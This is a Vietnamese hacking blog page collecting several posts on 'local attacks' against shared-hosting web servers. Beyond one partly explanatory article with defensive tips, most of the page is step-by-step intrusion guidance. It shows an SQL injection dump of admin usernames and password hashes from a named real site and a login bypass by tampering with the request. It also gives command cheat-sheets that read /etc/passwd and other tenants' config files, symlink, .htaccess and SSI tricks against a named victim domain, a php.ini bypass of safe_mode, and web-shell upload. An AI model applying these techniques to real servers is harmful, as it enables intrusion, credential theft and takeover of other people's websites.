Hiển thị các bài đăng có nhãn Local Attack. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Local Attack. Hiển thị tất cả bài đăng

Tìm hiểu về Local Attack

I. Khái niệm chung


  • Thông thường, khi host một site lên server thì người dùng sẽ được cấp một tài khoản người dùng và một thư mục để quản lý site của mình. Ví dụ tài khoản user1 được cấp thư mục /home/user1 để quản lý site của user1. Tương tự như vậy, tài khoản user2 được cấp thư mục /home/user2 để quản lý site của user2. Bằng cách nào đó, hacker có thể chiếm giữ /home/user2 và dùng các script (shell) để truy nhập vào /home/user1. Cách thức tấn công dựa vào các script ở site của user này để tấn công vào site của user khác trên cùng một server được gọi là Local Attack.





  • Như vậy, Local Attack chỉ diễn ra ở các shared-server, nơi mà có nhiều site cùng được đặt trên đó. Với các site đặt trên một server riêng biệt thì tất nhiên không xảy ra hình thức tấn công này.
  • Điểm mấu chốt của tấn công Local Attackhacker đã chiếm được quyền điều khiển một site nằm trên shared-server đó và sử dụng nó làm bàn đạp tấn công các site khác cùng server. Điều này có thể hiểu đơn giản là hacker đã upload được một web-shell (phổ biến như r57, c99…) lên site của user2 (site này đặt tại /home/user2) và dùng web-shell này để tấn công sang site của user1 (được đặt tại /home/user1). Để có được web-shell trên một site để dùng làm bàn đạp, hacker có thể lợi dụng các lỗ hổng của site đó như SQL injection, XSS,… Thậm chí, hacker có thể mua một host nằm trên cùng server với site đó rồi tự upload web-shell lên và tiến hành Local Attack.


II. Một số kiến thức cần biết

1. Host và Shared Hosting


  • Thông thường đối với web site, dữ liệu của nó phải được lưu trên 1 máy chủ (server) luôn hoạt động và kết nối với mạng internet. Khoảng không gian bộ nhớ trên máy chủ sử dụng để lưu trữ dữ liệu của website được gọi là host.
  • Đối với một số cơ quan tổ chức, việc thuê hẳn 1 server để lưu trữ dữ liệu website là không thiết thực. Do nhu cầu của họ chỉ đơn giản là lưu trữ, hơn nữa giá thành thuê 1 server cũng không phải là rẻ. Chính vì vậy, shared hosting là một lựa chọn hợp lý. Với shared hosting, không gian bộ nhớ trên server được chia thành nhiều host nhỏ, riêng biệt với nhau và đều cho thuê. Do vậy trên 1 server sẽ chứa dữ liệu của nhiều website và đó cũng là ngọn nguồn của cho local attack phát triển.


2. Hệ thống phân quyền

  • Không giống như windows, hệ điều hành Linux có hệ thống phân quyền khá phức tạp và chặt chẽ.
  • Linux hỗ trợ 3 quyền làm việc cơ bản:
r: quyền đọc (read)
w: quyền ghi (write)
x: quyền thực thi (execute)
- : không cho phép.
  • Các quyền này được chỉ định cho 3 đối tượng:

u : người sở hữu (owner)
g : nhóm sở hữu (group)
o : các người sử dụng thông thường (other)



  • Quyền cho 1 file hay thư mục được biểu hiện như sau :

– rwx rwx rwx

đặc tính owner group other
Ký tự thứ nhất: xác định kiểu của file.

- : regular file (text, binary, executed file)
d : thư mục
c/b : device file
l : link file

9 ký tự kế tiếp: xác định quyền đọc, ghi, thực thi đối với người sở hữu, nhóm sở hữu và người dùng còn lại.


  • Thay đổi nhóm/người sở hữu: chown, chgrp
    • Thực hiện bởi root hoặc người sở hữu.
    • Thay đổi người sở hữu:
    • chown user_name file_name
    • Thay đổi nhóm sở hữu:
    • chgrp group_name file_name

  • Thay đổi quyền truy cập: chmod
    • Cú pháp :
chmod quyền đối tượng


  • Ví dụ :
Muốn thêm quyền ghi cho nhóm đối với thư mục shell ta dùng lệnh :
chmod g+x shell
g+x cho biết sẽ thêm quyền ghi (w) vào đối tượng group (g).Tương tự các quyền khác với các đối tượng khác.
Muốn loại bỏ hoàn toàn quyền của đối tượng group ta dùng lệnh :
chmod g-rwx shell
Quyền của file (thư mục) trong câu lệnh chmod còn được biểu hiện bằng các các số theo qui luật sau :


r : quyền đọc (read) = 4
w : quyền ghi (write) = 2
x : quyền thực thi (execute) = 1
- : không cho phép = 0


Giả sử muốn:
owner quyền đọc, ghi, thực thi (4+2+1=7)
group quyền đọc và ghi (4+2=6)
người dùng khác (other) quyền thực thi (=1)

Ta làm như sau :
chmod 761 shell


  • Quyền truy cập đối với tệp tin
    • Quyền đọc (r – read): tức người dùng có thể đọc nội dung của file.
    • Quyền ghi (w – write): tức là người dùng có thể ghi nội dung vào file.
    • Quyền thực thi (x – execute): nếu file là file thực thi (chạy) thì người dùng có thể chạy file này.
  • Quyền truy cập đối với thư mục
    • Quyền đọc (r – read): tức người dùng có thể liệt kê danh sách tên file thông qua lệnh ls.
    • Quyền ghi (w – write): tức là người dùng có thể tạo hoặc xóa file trong thư mục.
    • Quyền thực thi (x – execute): cho phép người dùng nhảy vào trong thư mục (lệnh cd).
    • Quyền đọc và thực thi không phụ thuộc vào nhau.

3. Webshell


  • Đối với hệ điều hành Linux, khái niệm shell có lẽ đã quá quen thuộc với người dùng. Shell được hiểu như là 1 phần mềm cung cấp cho người dùng giao diện để giao tiếp với phần nhân của hệ điều hành.
  • Tương tự với shell, webshell là một shell với giao diện web cho phép người dùng tương tác với hệ thống. Sự ra đời của webshell đã giúp các nhà quản trị đơn giản hóa công việc quản lý server của mình rất nhiều. Các quản trị viên có thể thực hiện các thao tác như copy, xóa, di chuyển, download, upload các file… với chỉ vài cú click chuột đơn giản. Với những tính năng ưu việt này, nhưng khi rơi vào tay hacker, webshell lại trở thành 1 công cụ đáng sợ giúp thâm nhập hệ thống. Dần dần, dựa trên những webshell “nguyên thủy”, các hacker đã thêm vào nhiều tính năng, tạo nên webshell riêng phục vụ cho mục đích xấu của mình.
  • Một số webshell nổi tiếng: webadmin, r57, c99…

Các bước tấn công local attack


Bước 1: Xác định mục tiêu

Việc đầu tiên hacker sẽ xác định mục tiêu tấn công là site www.victim.com. Sau khi xác định mục tiêu, hacker sẽ tìm xem có những site nằm trên cùng server với victim. Điều này được thực hiện dễ dàng thông qua 1 số công cụ reverse ip:


myIPneighbors
seologs
huehacker
Whois
FreeReverseIp

Bước 2: Chiếm quyền điều khiển một site cùng server với mục tiêu

Khi đã tìm được các website có cùng server với victim, hacker sẽ chọn các website có hệ thống an ninh lỏng lẻo nhất và tấn công bằng các phương pháp: SQL injection, Reverse Directory Transversal, khai thác các bug… Việc này được thực hiện cho đến khi hacker chiếm quyền kiểm soát 1 website và upload được webshell của mình lên đó.

Bước 3: Thu thập thông tin về mục tiêu
Sau khi đã có webshell, hacker sẽ dò tìm, thu thập tất cả các thông tin về website victim như chạy dưới quyền user nào, thư mục gốc, được phân quyền ra sao… Bước này là bước quan trọng trong quá trình cuộc tấn công mục tiêu. Thông thường hacker sẽ sử dụng các câu lệnh sau để hiển thị các thông tin cần thiết:

cat /etc/passwd

cat /etc/valiasse


Tập tin /etc/passwd chứa thông tin về danh sách các user. Tập tin /etc/valiasse chứa thông tin về danh sách các site nằm trên server. Từ hai tập tin này, hacker có thể phỏng đoán được user ứng với mỗi website và đặc điểm của user đó cũng như tìm được thư mục gốc.

Bước 4: Tấn công trực tiếp mục tiêu
Sau khi có được các thông tin cần thiết như trên, hacker sẽ tiến hành tấn công trực tiếp mục tiêu. Nếu mục tiêu được cấu hình không tốt, hacker có thể đọc được các thông tin quan trọng như cấu trúc các thư mục, nội dung các file cấu hình của php, mysql như username, password của cơ sở dữ liệu… Thậm chí hacker có thể tiếp tục upload webshell lên side của mục tiêu để tạo backdoor cho các lần tấn công sau đó.
Khi đã có trong tay thông tin đăng nhập vào cơ sở dữ liệu thì việc còn lại của hacker chỉ là lấy cắp hoặc thay đổi các thông tin của website, điều này càng trở nên dễ dàng khi nội dung cơ sở dữ liệu không được mã hóa. Tệ hơn, hacker có thể xóa toàn bộ dữ liệu của website.

Bản chất – nguyên nhân
Qua việc phân tích các bước tấn công như trên, chúng ta có thể thấy nguyên nhân sâu xa gây ra Local Attack là do việc phân quyền không chặt chẽ của quản trị server cũng như quản trị website. Trong bốn bước tấn công trên thì bước 3 và bước 4 là hai bước mà hacker tấn công trực tiếp vào server và website mục tiêu. Ở bước 3, do việc phân quyền các file quan trọng như /etc/passwd của quản trị server không kĩ nên hacker có thể lấy được các thông tin về user trong file này. Ở bước 4, trách nhiệm lại thuộc về quản trị website khi cấu hình phân quyền các file, thư mục không tốt khiến hacker có thể dễ dàng hiện được cấu trúc thư mục cũng như đọc được các thông tin quan trọng khác.

Đối với thư mục, cấu hình phân quyền mặc định trong Windows là 777, trong Linux là 755. Còn đối với file, cấu hình phân quyền mặc định trong Windows là 666 và trong Linux là 644. Với cấu hình lỏng lẻo như thế này, hacker có thể dễ dàng xem được các thông tin quan trọng về hệ thống cũng như các thông tin quan trọng trong file cấu hình bằng lệnh ls, cat

Giải pháp
Có rất nhiều biện pháp phòng chống Local Attack, đòi hỏi sự phối hợp chặt chẽ từ cả 2 phía: quản trị server (hosting provider) và quản trị web (customer).

1. Từ phía quản trị server (hosting provider)

  • Trước hết, các nhà quản trị server nên tự trang bị cho mình những công cụ bảo vệ server như firewall và chương trình antivirus được cập nhập bản mới nhất. Antivirus giúp phát hiện và diệt những shell hay chương trình độc hại ngay khi nó được upload lên server, firewall đóng vai trò như 1 vệ sĩ gác cửa ngăn chặn và cảnh báo 1 số các sự kiện: mở cổng, truy cập khả nghi đến server
  • Việc cập nhập phiên bản kernel cũng như các phiên bản ứng dụng mới cho server phải được thường xuyên thực hiện. Cũng nên kiểm tra, cập nhập web serverdatabase server lên phiên bản mới nhất. Điều này không chỉ giúp cho server sử dụng các tính năng mới nhất mà còn tránh được các lỗ hổng gây lỗi của phiên bản cũ.
  • Tổ chức phân quyền đúng đắn cho server. Mỗi hosting sẽ được cấp 1 tài khoản người dùng riêng trên server và được giới hạn quyền tối thiểu. Web server và database server chạy dưới quyền các user riêng biệt.
  • Cài đặt và sử dụng Mod_security.
  • Cài đặt và sử dụng suPHP.
  • Sử dụng tính năng PHP safe_mode.

2. Từ phía quản trị website (customer)


  • Chmod chặt chẽ cho các thư mục và file. Với thư mục nên chmod 701, với file nên chmod 600.
  • Sử dụng tính năng PHP safe_mode.

VI. Một số kĩ thuật tấn công Local Attack


1. Bypass safe_mode

a. Tính năng safe_mode trong PHP

  • Safe_mode là một giải pháp để giải quyết vấn đề bảo mật trong các shared-server. Về mặt kiến trúc thì đây là công việc nằm ở tầng của web server và hệ điều hành. Tuy nhiên hai tầng trên hiện không đáp ứng thực sự tốt công việc này. Do vậy, ngày nay rất nhiều người đang sử dụng tính năng safe_mode của PHP như một giải pháp thay thế.
  • Để bật tính năng safe_mode của PHP, bạn chỉ cần sửa lại dòng sau trong file php.ini:
safe_mode = On


  • Khi safe_mode được bật, PHP sẽ kiểm tra xem owner của script có trùng với owner của file đang được tác động hay không. Nếu không trùng sẽ có thông báo lỗi xuất hiện. Ví dụ owner của /etc/passwdroot (uid = 0), owner của script test.phpsangcx (uid = 509). Nội dung của script test.php:
<?php readfile(‘/etc/passwd’); ?>

Khi chạy script test.php ta sẽ nhận được thông báo:

Warning:
readfile() [function.readfile]: SAFE MODE Restriction in effect. The script whose uid is 509 is not allowed to access /etc/passwd owned by uid 0 in /usr/local/apache2/htdocs/site2/test.php on line 2


  • Chúng ta cũng có thể vô hiệu hóa một số hàm bằng chỉ thị disable_function của safe_mode (thay đổi chỉ thị này trong file php.ini):
disable_function = readfile

Khi chạy scritp test.php ở trên ta sẽ nhận được thông báo:


Warning: readfile() has been disabled for security reasons in /usr/local/apache2/htdocs/site2/test.php on line 2


Danh sách các hàm mà safe_mode cấm dùng hoặc bị vô hiệu hóa:

http://www.php.net/manual/en/features.safe-mode.functions.php

b. Kĩ thuật bypass safe_mode


  • Để bypass safe_mode, ta cần upload được một file php.ini với nội dung như sau lên server:
safe_mode = Off


Hiện nay có nhiều shell có tính năng này. Chỉ cần 1 cú click chuột là shell sẽ tự tạo một file php.ini nội dung như trên và upload lên server. Một trong các shell hay được sử dụng để bypass safe_modeAluCar.

2. Symlink


a. Một số kiến thức về symlink

  • Trong Linux, dữ liệu của các file được chia thành các block, 1 block = 1K, 2K, 4K…
  • Có nhiều cách tổ chức để liên kết các khối dữ liệu trong một file với nhau, một trong các cách đó là dùng chỉ mục (indexed allocation).



  • Với kiểu tổ chức này, một file được đại diện bằng một Index Node (Inode).



  • Inode chứa các thông tin:
    • Quyền truy cập đến file.
    • Thông tin về người/nhóm sở hữu.
    • Thông tin về thời gian.
    • Số liên kết đến Inode.
    • Kích thước file, địa chỉ các block dữ liệu
    • NHƯNG: không chứa tên file à 1 inode có thể ứng với nhiều file name.
  • Có hai loại file liên kết trong Linux: hard link và soft link (hay symbolic link).
  • Hard link – liên kết cứng, sử dụng chung dữ liệu.
    • Các file có tên khác nhau.
    • Cùng 1 inode.
    • Chỉ số liên kết trong inode bằng số file trỏ đến nó.
    • Có thể khác thư mục.
    • Cách tạo hard link: ln src_file hard_link_file
  • Soft link (symbolic link – symlink) – liên kết mềm, liên kết kiểu con trỏ file (short cut).
    • Các file có tên khác nhau.
    • Giá trị inode khác nhau.
    • Nội dung file liên kết mềm là tên file được liên kết.
    • Cách tạo symlink: ln – s src_file sym_link_file
  • Có thể hình dung symlink giống như tạo short cut trong Windows.

b. Kĩ thuật symlink trong Local Attack


  • Khi thực hiện tấn công Local Attack, đôi khi chúng ta không thể hiện được các thông tin quan trọng như cấu trúc thư mục, nội dung file cấu hình của victim. Nguyên nhân là do cấu hình của server không cho phép chúng ta làm điều đó. Để giải quyết vấn đề này ta có thể dùng kĩ thuật symlink.
  • Ví dụ khi đã có shell tại /home/user1/ và muốn tấn công victim có thư mục nằm tại /home/user2. Các câu lệnh hay dùng như ls –la /home/user2 không có tác dụng. Khi đó ta sẽ tạo một symlink tới thư mục /home/user2 như sau:
ln –s /home/user2 a.txt

  • Khi đó a.txt sẽ như một shortcut đến thư mục /home/user2. Ta chỉ cần vào địa chỉ /home/user1/a.txt là nội dung thư mục /home/user2 sẽ hiện ra. Tuy nhiên, để làm được điều này thì một số chỉ thị sau của server phải được bật:

Options +FollowSymLinks #cho phép dùng symlink

DirectoryIndex seees.html #vô hiệu hóa file index.html

Options +Indexes #cho phép hiện cấu trúc thư mục


  • Nếu server không bật các chỉ thị trên, có thể bạn sẽ gặp lỗi 500 Internal Server Error hoặc lỗi 403 Forbidden. Để khắc phục hiện tượng này, bạn chỉ cần tạo một file .htaccess có nội dung là 3 chỉ thị trên rồi upload lên server.
- Sưu tầm

Xem Thêm

 

Cách login khi không decode đc md5 đối với 1 số site

Cách login khi không decode đc md5 đối với 1 số site
================
Tut by Leorius - VHB - Dành cho newbie, miễn gạch đá

1. Chào các bạn, mình mạo muội làm tut login khi không decode được MD5
đối với một số website mã hoá MD5 trước khi post dữ liệu lên server.

Yêu cầu:

+ Victim: http://traanh.vn/
+ Addon Tamper (Firefox) hoặc các addon tương tự

2. Trước tiên là tìm User,Pass:

http://traanh.vn/?frame=product_deta...m%20tbl_user--



1|admin|c2a26024ce725f94d9b9e90f6a618ba3
2|phamvan|48472492c504e777a664efeff27d9fee
Tình hình là thử đối với các site decode MD5 lớn cho chuỗi c2a26024ce725f94d9b9e90f6a618ba3 mà không được.

Thay vì bỏ, thì còn phương án sau.

3. Tìm link admin, thử login với user là admin (get được ở trên) và pass bất kì (123456):

http://traanh.vn/admin/

4. Bạn để ý chuỗi pass bạn nhập ban đầu chỉ 6 ký tự, nhưng sau khi bấm submit thì chuỗi pass dài ra, tư duy một tí đoán là admincp này mã hoá MD5 bằng JavaScript trước khi post lên server xử lý.

Đến đây có lẽ vấn đề đã được giải quyết:

+ Bật tamper lên
+ Login bằng user (đã get được) và pass (123456)
+ Edit giá trị password bằng tamper thành chuỗi md5 không giải mã được (c2a26024ce725f94d9b9e90f6a618ba3)


Xem Thêm

 

Tổng hợp những lệnh trên shell hay dùng nhất khi local

1) Xem list domain & user trên cùng sever

Code:
directadmin: cat /etc/virtual/domainowners
cpanel: ls -la /etc/valiases/tendomainvictim.com

cd/etc/vdomainaliases;ls-lia
Trường hợp đặc biệt khi không thể xem us
er nằm cùng host thì ta thêm && vào
Code:
cd/etc/vdomainaliases && ls-lia
2)Xem tên user: tùy vào distro linux khác nhau sẽ có các câu lệnh đọc file khác nhau.

Code:
cat /etc/passwd
less /etc/passwd
more /etc/passwd
head /etc/passwd
tac /etc/passwd
rev /etc/passwd
xxd /etc/passwd
3)Local sang victim bằng lệnh dir ( 2013 - giờ hiếm server nào còn sài được)

Code:
dir /home/ten user can local/public_html
vd: dir /home/vhb/public_html
4)Xem nội dung file lệnh xem file cũng tương tự như mục số 2 
-> có thể sài các lệnh đó thay thế cho cat, less,...

Code:
cat/home/ten user can local/public_html/index.php
vd: cat /home/vhb/public_html/@vhb@/includes/config.php
vd: less /home/vhb/public_html/@vhb@/includes/config.php

5) Symlink: tác dụng gần giống như tạo shorcut trên windows.

Code:
ln -s/home/ten user can local/public_html/index.php index.txt
vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.txt
vd: ln -s /home/vhb/public_html/@vhb@/includes/config.php 1.ini
với file 1.txt hay 1.ini là mình tự đặt để nó tạo liên kết từ file config.php đến.

6) Tìm path của mấy victim sài Add on domain
find /usr/local/apache/logs/ -name 'error_log' | xargs grep -E 'victim.com'

Xem Thêm

 

Hướng dẫn tổng hợp, chi tiết cơ bản nhất các bước để local một victim.

Bài viết này dựa trên kinh nghiệm cũng như những kiến thức mà mình thấy cần thiết nhất và dễ hiểu nhất để dành cho những bạn nào chưa biết đến Local sau khi đọc xong sẽ biết đến nó và có thể thực hành ở đa số các trường hợp.

I. Đầu tiên là đọc sơ cái Định Nghĩa của Local Attack là gì cái nào:

Local attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong. Nghĩa là tấn công vào một website có bảo mật kém chung server với website mục tiêu. Sau đó tấn công sang website mục tiêu bằng các kỹ thuật khác nhau để đạt được mục đích cuối cùng đó là chiếm được toàn quyền website mục tiêu (victim).
Lấy cái ví dụ cho dễ hiểu:

VD1:
+ Server là một cái PC có nhiều folder trên đó.
+ Mỗi folder tương ứng với 1 user toàn quyền trên nó.
+ Local attach đó là làm sao đứng từ folder này dòm ngó và chui vào được cái folder khác. 
VD2:
+ Server là một cái chung cư to đùng.
+ Folder là 1 căn hộ trong chung cư đó và chủ nhà là một em chân dài, da trắng, xinh tươi nằm trong đó.
+ Local attack là làm đủ mọi cách như đục tường, khoét vách phá cửa để vào nhà có em xinh tươi ấy và xxx được em ấy.

II. Những điều cần biết trước khi bắt đầu tấn công và kết thúc Local attack:

1. Xác định website mục tiêu cần tấn công. (victim)
2. Reverse IP để xac định các website khác nằm chung server với website mục tiêu (victim)
3. Tấn công vào 1 trong các website bất kỳ cùng server với website mục tiêu (victim) và chiếm quyền nó.
4. Bước 3 Thành công ta có quyền trên 1 site cùng server với victim. hay mọi người vẫn gào lên là CÓ SHELL RỒI.
5. Chính thức bắt đầu vào quá trình tấn công nội bộ - Local Attack.
6. Tìm thông tin của victim gồm user host, đường dẫn tới victim, file cấu hình của victim (config.php)
7. Tiến hành đủ mọi thủ đoạn, cách, chiêu để xem được NỘI DUNG của file config.php đó.
8. Có thông tin thì ta connect vào database của victim để chiếm quyền admin và up shell chiếm toàn quyền victim. 
=> Kết thúc local attack thành công (xxx được em chân dài xinh tươi ấy rồi :x )

III. Bắt đầu vào chi tiết các bước để Local attack 1 victim.
Ở đây ta bỏ qua các bước từ 1-5 và mặc định là những bước đó ta đã biết sử dụng shell cơ bản cũng như đã có shell trên cùng server victim, và trong phần này mình hướng dẫn dựa trên server có OS là Linux và không cố định ở Distro, kernel nào.Chúng ta bắt đầu vào được thứ 6.

6. Tìm thông tin của victim gồm user host, đường dẫn tới victim, file cấu hình của victim (config.php)
a. Tìm user của victim:

+ Để tìm user của victim ta có rất nhiều cách và cũng có nhiều công cụ để làm việc này riêng mình sẽ chú trọng vào lệnh để vào server linux nào cũng sài được.
- Lệnh : cat /etc/passwd này dùng để đọc nội dung của file passwd nằm trong thư mục etc trên hệ thông.File này chứa toàn bộ tên user của Linux OS


Code:
cat /etc/passwd
less /etc/passwd
...
Xem thêm: Tổng hợp những lệnh shell hay dùng khi local

- Xem chính xác domain nào tương ứng với user nào thì ta dùng lệnh:
đối với server dùng directadmin để quản lý host ta dùng: 
Code:
cat /etc/virtual/domainowners
Đối với server dùng cpanel để quản lý host ta dùng: 
Code:
ls -la /etc/valiases/tendomainvictim.com
chú ý: tendomainvictim.com chính là tên domain website victim cần tấn công vd tôi cần tấn công huynhdegroup.net thì tôi sài lệnh sau:
Code:
ls -la /etc/valiases/huynhdegroup.net
- Có thể dùng chức năng đọc file passwd của con shell các bạn đang sài để view cũng được và đó cũng là một cách nữa để tìm user victim.
- Còn rất nhiều cách để tìm user của victim như xem error log ...
vd : tail -n 10000 /var/log/httpd/domains/huynhdegroup.net.error.log
vd1: cat /usr/local/apache/logs/error_log | grep "huynhdegroup.net" >>"user.txt"

b. Tìm đường dẫn tới thư mục của victim.
Có nhiều cách để xem đường dẫn của victim như check lỗi trực tiếp để hiện thông báo lỗi kèm theo user, path cụ thể... nhưng ở đây là local attack nên mình đề cập đến vài cách tìm như sau:
- Tìm path dựa vào Path của victim chứ shell: ví dụ các bạn vào shell và thấy:
/home/huynhde/public_html/ thì chắc chắn là cấu trúc đường dẫn của victim cũng sẽ tương tự chỉ khác ở phần user mà thôi
=> /home/victim/public_html/
Việc đặt đường dẫn lưu website thì tùy mỗi server sẽ có nơi lưu khác nhau nhưng đa phần trên 90% sử dụng đường dẫn như mình đã nêu. còn lại thì các bạn tự suy ra dựa theo cách suy luận mình đá nói.

c. Tìm file cấu hình của victim (config.php)
Đây là bước quan trọng quyết định tới việc các bạn có thể chiếm được victim hay không phụ thuộc vào bước này.Mình hướng dẫn trong trường hợp đây là mã nguồn victim tự code
thường thì file config.php hay nằm chung thư mục với file index.php tuy nhiên một số người khi code sẽ đưa vào trong vài lớp folder để quản lý code và cách tìm đó là các bạn view nội dung file index.php (để biết view thì các bạn xem bước 7 tiếp theo) để ý các dòng includes các file như là:
Code:
./inc/config.php
./includes/config.php
./includes/db.php
./inc/dbconnect.php
...
Thường thì một số mã nguồn sẽ có đường dẫn file config cố định và các bạn phải tìm hiểu mã nguồn đó để biết được file config đó nằm đâu. mình sẽ giới thiệu vài mã nguồn thông dụng:
Code:
Vbulletin: /home/victim/public_html/includes/config.php
PHPBB: /home/victim/public_html/config.php
Joomla: /home/victim/public_html/configuration.php
WordPress: /home/victim/public_html/wp-config.php
ibp: /home/victim/public_html/conf_global.php
php-fusion: /home/victim/public_html/config.php
Smf: /home/victim/public_html/Settings.php
phpnuke: /home/victim/public_html/html/config.php
Xoops: /home/victim/public_html/mainfile.php
ZenCart: /home/victim/public_html/includes/configure.php
setidio: /home/victim/public_html/datas/config.php
Discuz: /home/victim/public_html/config/config_ucenter.php
Bo-Blog: /home/victim/public_html/data/config.php
Biết được file config.php nằm đâu rồi thì chúng ta bắt đầu qua bước 7 để tiến hành xem nội dung file config đó

7. Tiến hành đủ mọi thủ đoạn, cách, chiêu để xem được NỘI DUNG của file config.php đó.
Có 2 cách thông dụng nhất để xem file config của victim đó là:

A. Dùng lệnh xem file như: cat, less, more nếu server cho phép (tiếc là đa số không cho phép cách này :( )
vd: cat /home/huynhde/public_html/@VHB@/includes/config.php
vd: cat /home/huynhde/public_html/configuration.php
vd: cat /home/huynhde/public_html/wp-config.php
...

B. Dùng phương pháp Symlinks: đây là phương pháp phổ biến nhất và đa số là hơn 95% sử dụng nó.
Symbolic Links là gì?
Symbolic links, vẫn được biết đến với cái tên symlinks, về cơ bản là biện pháp tạo shortcut nâng cao. Nguời dùng có thể tạo các liên kết tượng trưng cho các file hoặc thư mục riêng lẻ, sau đó các liên kết này sẽ xuất hiện như thể chúng được lưu trong cùng thư mục với liên kết tượng trưng mặc dù liên kết tượng trưng lại trỏ đến vị trí thực của chúng.
Có nhiều cách để tiến hành tạo symlinks nhưng mình đề cập đến dùng lệnh symlinks cho cơ bản nhất.Sau đó mới tới việc dùng các tool để khai thác.Để symlinks ta dùng lệnh ln kèm theo tùy chọn cho nó bạn muốn tạo symlinks đến file config.php của victim tên huynhde sau khi đã biết chính xác đường dẫn của nó ta làm như sau:

vd: ta đứng từ site http://dienthoailocal.com/local/shell.php cùng server vớihttp://huynhdegroup.net/@VHB@/ và ta sẽ tạo symlinks tới file config.php của huynhde như sau:
Code:
ls -s /home/huynhde/public_html/@VHB@/includes/config.php 1.txt
-> chạy lệnh này trên shell xong thì ta sẽ có được file 1.txt cùng folder với con shell nếu ta ko đổi thư mục trước khi symlinks.
Lúc này ta có thể xem nội dung của file 1.txt bằng nhiều cách như:
1. Xem trực tiếp bằng lệnh cat hay less: 

Code:
cat 1.txt
less 1.txt
...
2. Xem trực tiếp trên trình duyệt dạng domainshell.com/1.txt
vd: http://dienthoailocal.com/local/shell.php 
sau khi symlink ta sẽ xem như sau 
http://dienthoailocal.com/local/1.txt

Đối với một số server sẽ không cho phép ta xem trực tiếp như trên thì chúng ta sẽ dùng thêm file .htaccessvới nội dung bên dưới để hỗ trợ xem file symlinks:

Code:
Options Indexes FollowSymLinks
DirectoryIndex index.htm
AddType txt .php
AddHandler txt .php
3. Nếu vẫn tiếp tục không xem được thì sẽ có 2 khả năng xảy ra: đó là do server chặn không cho xem và do victim đã chmod phân quyền cho file đó.
+ Đối với việc server chặn không cho xem bằng mod SSI thì chúng ta hay dùng chính SSI để xem file đã symlink bằng cách tạo 1 file SSI có:
- Tên: saocungduoc.shtml
- nội dung:
Code:
<!--#include virtual="1.txt" -->
- Save lại và xem như sau: http://dienthoailocal.com/local/saocungduoc.shtml
Ở trường hợp này thì một số server chúng ta sẽ thấy nó hiện hết nội dung lên liền ở tranghttp://dienthoailocal.com/local/saocungduoc.shtml này.
Tuy nhiên cũng có một số server chúng ta sẽ tháy nó trắng tinh như màng trinh :( lúc này mọi người chịu khó click chuột phải vào chỗ nào trắng nhất và chọn View Source để xem màng trinh nhé =))
- Nếu đã view Source mà không xem được nữa thì chắc nó rơi vào trường hợp bị chmod kỹ hoặc chúng ta symlink bị sai đường dẫn :D

4. Dùng tool để bypass symlink: PHP 5.2.12/5.3.1 symlink() open_basedir bypass



Kết thúc một số phương pháp tạo và xem file config của victim.

8. Có thông tin thì ta connect vào database của victim để chiếm quyền admin và up shell chiếm toàn quyền victim.



Còn những ai thích thì có thể dùng chức năng connect với database trên con shell bằng cách nhập user database, password database và tên database vào rồi connect sau đó dùng câu lệnh query làm gì tùy các bạn.

Xem Thêm

 

Sym root bypass open port nếu server cho chạy python


Đầu tiên mọi người có thể kiểm tra xem có gói python đc cài trên server chưa
dùng lệnh python -h xem có trả về kết quả gì ko nè.

Nếu có chạy thì tạo đoạn code python sau lưu vào file capuchino.py

Xem Thêm

 

Bypass Symlink Work 100% By Mauritania Attacker Private!


You can Bypass any server with this method you just need to do some little changes in the following file :

* php.ini

* and bypass suEXEC

For example i have this simple "php.ini" 

safe_mode = Off
disable_functions =
safe_mode_gid = Off
open_basedir = Off
register_globals = on
exec = On
shell_exec = On


Just add these to "disable_functions ="

"ln, cat, popen, pclose, posix_getpwuid, posix_getgrgid, posix_kill, parse_perms, system, dl, passthru, exec, shell_exec, popen, proc_close, proc_get_status, proc_nice, proc_open, escapeshellcmd, escapeshellarg, show_source, posix_mkfifo, mysql_list_dbs, get_current_user, getmyuid, pconnect, link, symlink, pcntl_exec, ini_alter, pfsockopen, leak, apache_child_terminate, posix_kill, posix_setpgid, posix_setsid, posix_setuid, proc_terminate, syslog, fpassthru, stream_select, socket_select, socket_create, socket_create_listen, socket_create_pair, socket_listen, socket_accept, socket_bind, socket_strerror, pcntl_fork, pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, openlog, apache_get_modules, apache_get_version, apache_getenv, apache_note, apache_setenv, virtual, chmod, file_upload, delete, deleted, edit, fwrite, cmd, rename, unlink, mkdir, mv, touch, cp, cd, pico"

So our "php.ini" will be like this :

safe_mode = Off
disable_functions = "ln, cat, popen, pclose, posix_getpwuid, posix_getgrgid, posix_kill, parse_perms, system, dl, passthru, exec, shell_exec, popen, proc_close, proc_get_status, proc_nice, proc_open, escapeshellcmd, escapeshellarg, show_source, posix_mkfifo, mysql_list_dbs, get_current_user, getmyuid, pconnect, link, symlink, pcntl_exec, ini_alter, pfsockopen, leak, apache_child_terminate, posix_kill, posix_setpgid, posix_setsid, posix_setuid, proc_terminate, syslog, fpassthru, stream_select, socket_select, socket_create, socket_create_listen, socket_create_pair, socket_listen, socket_accept, socket_bind, socket_strerror, pcntl_fork, pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, openlog, apache_get_modules, apache_get_version, apache_getenv, apache_note, apache_setenv, virtual, chmod, file_upload, delete, deleted, edit, fwrite, cmd, rename, unlink, mkdir, mv, touch, cp, cd, pico"
safe_mode_gid = Off
open_basedir = Off
register_globals = on
exec = On
shell_exec = On

Some examples of screenshots in Whm ;)




553067_10151303602567035_1828598650_n

562177_10151303602677035_853140348_n

63909_10151303602817035_1919120495_n
Note: This Method was tested on Ovh & Bluehost servers and it successfully bypassed them!
Follow: http://www.hackerzadda.com/2013/03/bypass-symlink-100.html

Xem Thêm

 

Up Shell khi đã có user pass database

_Trong loạt bài share này mình sẽ hướng dẫn bà toan cách sử lý khi trong tay có những cái mà quan trọng sau mà không biết ứng sử và sử lý nó ra sao

+ có trong tay data và user name nhưng ko biết cách kết nối vào để sử lý dữ liệu đó ra sao
Đặt ra nhiều trường hợp ( biết vận động cái đầu chút )
